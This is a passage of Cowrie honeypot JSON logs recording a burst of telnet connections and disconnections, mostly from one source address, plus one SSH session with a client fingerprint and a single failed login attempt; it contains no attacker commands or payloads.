{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58620,"dst_ip":"159.203.135.109","dst_port":23,"session":"db7e6f0cb095","protocol":"telnet","message":"New connection: 162.55.233.176:58620 (159.203.135.109:23) [session: db7e6f0cb095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:33.450626Z"}
{"eventid":"cowrie.session.closed","duration":35.64361119270325,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:33.477713Z","src_ip":"162.55.233.176","session":"ba9f8e5f0380","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58628,"dst_ip":"159.203.135.109","dst_port":23,"session":"2af61fa40d24","protocol":"telnet","message":"New connection: 162.55.233.176:58628 (159.203.135.109:23) [session: 2af61fa40d24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:33.659213Z"}
{"eventid":"cowrie.session.closed","duration":38.486332178115845,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:34.240852Z","src_ip":"162.55.233.176","session":"95f68d85df71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.439654111862183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:34.433315Z","src_ip":"162.55.233.176","session":"7180bbcac5ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58640,"dst_ip":"159.203.135.109","dst_port":23,"session":"3207b6ac88a7","protocol":"telnet","message":"New connection: 162.55.233.176:58640 (159.203.135.109:23) [session: 3207b6ac88a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:35.428937Z"}
{"eventid":"cowrie.session.closed","duration":31.269054412841797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:35.452466Z","src_ip":"162.55.233.176","session":"2aeec45fcd3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58642,"dst_ip":"159.203.135.109","dst_port":23,"session":"33f1ce103db6","protocol":"telnet","message":"New connection: 162.55.233.176:58642 (159.203.135.109:23) [session: 33f1ce103db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:35.688415Z"}
{"eventid":"cowrie.session.closed","duration":36.293604373931885,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:35.875151Z","src_ip":"162.55.233.176","session":"aa85d43020e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.10151982307434,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:36.215088Z","src_ip":"162.55.233.176","session":"5c082ea4165d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58650,"dst_ip":"159.203.135.109","dst_port":23,"session":"5070f3aece79","protocol":"telnet","message":"New connection: 162.55.233.176:58650 (159.203.135.109:23) [session: 5070f3aece79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.389402Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58662,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f2491411cea","protocol":"telnet","message":"New connection: 162.55.233.176:58662 (159.203.135.109:23) [session: 0f2491411cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.408563Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58672,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9c1bc8ab32","protocol":"telnet","message":"New connection: 162.55.233.176:58672 (159.203.135.109:23) [session: 7e9c1bc8ab32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.605243Z"}
{"eventid":"cowrie.session.closed","duration":35.48054790496826,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.712958Z","src_ip":"162.55.233.176","session":"26a67f4717c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79691791534424,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.717531Z","src_ip":"162.55.233.176","session":"7a1012b8d1b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58678,"dst_ip":"159.203.135.109","dst_port":23,"session":"073df6d6e493","protocol":"telnet","message":"New connection: 162.55.233.176:58678 (159.203.135.109:23) [session: 073df6d6e493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.871586Z"}
{"eventid":"cowrie.session.closed","duration":31.98949408531189,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:37.966882Z","src_ip":"162.55.233.176","session":"2466f95dc6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58646,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef9397b8530f","protocol":"telnet","message":"New connection: 162.55.233.176:58646 (159.203.135.109:23) [session: ef9397b8530f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:38.134933Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58692,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c6ad79eabc6","protocol":"telnet","message":"New connection: 162.55.233.176:58692 (159.203.135.109:23) [session: 2c6ad79eabc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:38.555857Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58704,"dst_ip":"159.203.135.109","dst_port":23,"session":"eda55ed25537","protocol":"telnet","message":"New connection: 162.55.233.176:58704 (159.203.135.109:23) [session: eda55ed25537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:39.182003Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58718,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9b4d40ec045","protocol":"telnet","message":"New connection: 162.55.233.176:58718 (159.203.135.109:23) [session: d9b4d40ec045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:39.299823Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58720,"dst_ip":"159.203.135.109","dst_port":23,"session":"ede2479ce2cb","protocol":"telnet","message":"New connection: 162.55.233.176:58720 (159.203.135.109:23) [session: ede2479ce2cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:39.498025Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58748,"dst_ip":"159.203.135.109","dst_port":23,"session":"553e55d270fb","protocol":"telnet","message":"New connection: 162.55.233.176:58748 (159.203.135.109:23) [session: 553e55d270fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:40.158216Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58764,"dst_ip":"159.203.135.109","dst_port":23,"session":"e875f5955db7","protocol":"telnet","message":"New connection: 162.55.233.176:58764 (159.203.135.109:23) [session: e875f5955db7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:40.497868Z"}
{"eventid":"cowrie.session.closed","duration":30.73971724510193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:40.520185Z","src_ip":"162.55.233.176","session":"5ef7d58e898e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.063260078430176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:40.681247Z","src_ip":"162.55.233.176","session":"f81b2b612c44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.485903024673462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:40.924510Z","src_ip":"162.55.233.176","session":"818610eca7bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.60440015792847,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:40.997993Z","src_ip":"162.55.233.176","session":"e6ede9d6b19e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58778,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeab8a12929c","protocol":"telnet","message":"New connection: 162.55.233.176:58778 (159.203.135.109:23) [session: eeab8a12929c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:41.103598Z"}
{"eventid":"cowrie.session.closed","duration":33.930095911026,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:41.238430Z","src_ip":"162.55.233.176","session":"46498fd8863f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58788,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad5443d21aec","protocol":"telnet","message":"New connection: 162.55.233.176:58788 (159.203.135.109:23) [session: ad5443d21aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:41.534135Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58804,"dst_ip":"159.203.135.109","dst_port":23,"session":"b761202bcba0","protocol":"telnet","message":"New connection: 162.55.233.176:58804 (159.203.135.109:23) [session: b761202bcba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:41.766561Z"}
{"eventid":"cowrie.session.closed","duration":43.73195195198059,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:41.926297Z","src_ip":"206.189.32.23","session":"a55739755458","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58784,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9117a2c63fb","protocol":"telnet","message":"New connection: 162.55.233.176:58784 (159.203.135.109:23) [session: f9117a2c63fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:42.570796Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58810,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b7b40e21a3","protocol":"telnet","message":"New connection: 162.55.233.176:58810 (159.203.135.109:23) [session: 71b7b40e21a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:42.791821Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce7329cbadc","protocol":"telnet","message":"New connection: 162.55.233.176:58820 (159.203.135.109:23) [session: 1ce7329cbadc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:42.813197Z"}
{"eventid":"cowrie.session.closed","duration":3.7162764072418213,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:42.898147Z","src_ip":"162.55.233.176","session":"eda55ed25537","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48694086074829,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.064846Z","src_ip":"162.55.233.176","session":"5af9ee6511ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.63177156448364,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.156410Z","src_ip":"162.55.233.176","session":"ea70b424620f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348917245864868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.172491Z","src_ip":"162.55.233.176","session":"2fa38952d181","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.36763620376587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.184501Z","src_ip":"162.55.233.176","session":"0c6113ebd15f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45740,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dec0e48676d","protocol":"telnet","message":"New connection: 162.55.233.176:45740 (159.203.135.109:23) [session: 5dec0e48676d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.669217Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45726,"dst_ip":"159.203.135.109","dst_port":23,"session":"d71c4f9f4cd1","protocol":"telnet","message":"New connection: 162.55.233.176:45726 (159.203.135.109:23) [session: d71c4f9f4cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.673889Z"}
{"eventid":"cowrie.session.closed","duration":36.700424909591675,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.845258Z","src_ip":"162.55.233.176","session":"9c7c014ec27b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.102028608322144,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:43.852810Z","src_ip":"162.55.233.176","session":"a2794dda54ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58734,"dst_ip":"159.203.135.109","dst_port":23,"session":"12426488f514","protocol":"telnet","message":"New connection: 162.55.233.176:58734 (159.203.135.109:23) [session: 12426488f514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.119160Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45756,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa3e4ec53ab8","protocol":"telnet","message":"New connection: 162.55.233.176:45756 (159.203.135.109:23) [session: aa3e4ec53ab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.256262Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"b39692cb6bf7","protocol":"telnet","message":"New connection: 206.189.32.23:54236 (10.17.0.5:23) [session: b39692cb6bf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.469332Z"}
{"eventid":"cowrie.session.closed","duration":43.9783775806427,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.473838Z","src_ip":"206.189.32.23","session":"afb0713ec05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.746875762939453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.524923Z","src_ip":"162.55.233.176","session":"23d8e2709b54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.793280601501465,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.764952Z","src_ip":"162.55.233.176","session":"a8c87f8128ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.096155881881714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:44.940912Z","src_ip":"162.55.233.176","session":"c59cd5e106b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45768,"dst_ip":"159.203.135.109","dst_port":23,"session":"9293bdae00fd","protocol":"telnet","message":"New connection: 162.55.233.176:45768 (159.203.135.109:23) [session: 9293bdae00fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:45.236259Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45772,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cc08d1d9579","protocol":"telnet","message":"New connection: 162.55.233.176:45772 (159.203.135.109:23) [session: 0cc08d1d9579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:45.823794Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45668,"dst_ip":"10.17.0.5","dst_port":23,"session":"14e2aa21342a","protocol":"telnet","message":"New connection: 188.208.141.113:45668 (10.17.0.5:23) [session: 14e2aa21342a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:45.860200Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45786,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbd7da24d85c","protocol":"telnet","message":"New connection: 162.55.233.176:45786 (159.203.135.109:23) [session: fbd7da24d85c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:45.941698Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45792,"dst_ip":"159.203.135.109","dst_port":23,"session":"7800a7159a32","protocol":"telnet","message":"New connection: 162.55.233.176:45792 (159.203.135.109:23) [session: 7800a7159a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.537348Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":1585,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a16f525775f","protocol":"ssh","message":"New connection: 38.137.11.14:1585 (10.17.0.5:22) [session: 7a16f525775f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.650023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.657273Z","src_ip":"38.137.11.14","session":"7a16f525775f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.36773157119751,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.659873Z","src_ip":"162.55.233.176","session":"9fa388595c96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.850134134292603,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.783498Z","src_ip":"162.55.233.176","session":"c1122a423a9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45794,"dst_ip":"159.203.135.109","dst_port":23,"session":"56bef4e0985d","protocol":"telnet","message":"New connection: 162.55.233.176:45794 (159.203.135.109:23) [session: 56bef4e0985d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.856263Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.888293Z","src_ip":"38.137.11.14","session":"7a16f525775f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.492321968078613,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.966168Z","src_ip":"162.55.233.176","session":"c2cc1384bc0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.546661376953125,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:46.977777Z","src_ip":"162.55.233.176","session":"4a40437da403","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.8368775844574,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.056082Z","src_ip":"162.55.233.176","session":"558ab223a169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45802,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb88f2182624","protocol":"telnet","message":"New connection: 162.55.233.176:45802 (159.203.135.109:23) [session: fb88f2182624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.318507Z"}
{"eventid":"cowrie.session.closed","duration":34.69256901741028,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.375817Z","src_ip":"162.55.233.176","session":"2a96c3cae764","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.79726600646973,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.768549Z","src_ip":"162.55.233.176","session":"6ec7a90d9df9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53343439102173,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.798267Z","src_ip":"162.55.233.176","session":"001d7c8cb1b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45814,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc949f5f99fc","protocol":"telnet","message":"New connection: 162.55.233.176:45814 (159.203.135.109:23) [session: dc949f5f99fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.833368Z"}
{"eventid":"cowrie.login.failed","username":"testusr","password":"testusr","message":"login attempt [testusr/testusr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.845942Z","src_ip":"38.137.11.14","session":"7a16f525775f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45830,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8325107e3a4","protocol":"telnet","message":"New connection: 162.55.233.176:45830 (159.203.135.109:23) [session: d8325107e3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:47.950385Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45838,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc510987e91c","protocol":"telnet","message":"New connection: 162.55.233.176:45838 (159.203.135.109:23) [session: cc510987e91c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:48.210489Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45850,"dst_ip":"159.203.135.109","dst_port":23,"session":"352652735542","protocol":"telnet","message":"New connection: 162.55.233.176:45850 (159.203.135.109:23) [session: 352652735542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:48.264793Z"}
{"eventid":"cowrie.session.closed","duration":30.94794797897339,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:48.404101Z","src_ip":"162.55.233.176","session":"630bdfe370af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.327534198760986,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:07:48.892819Z","src_ip":"162.55.233.176","session":"0883c817f7d7","protocol":"telnet"}
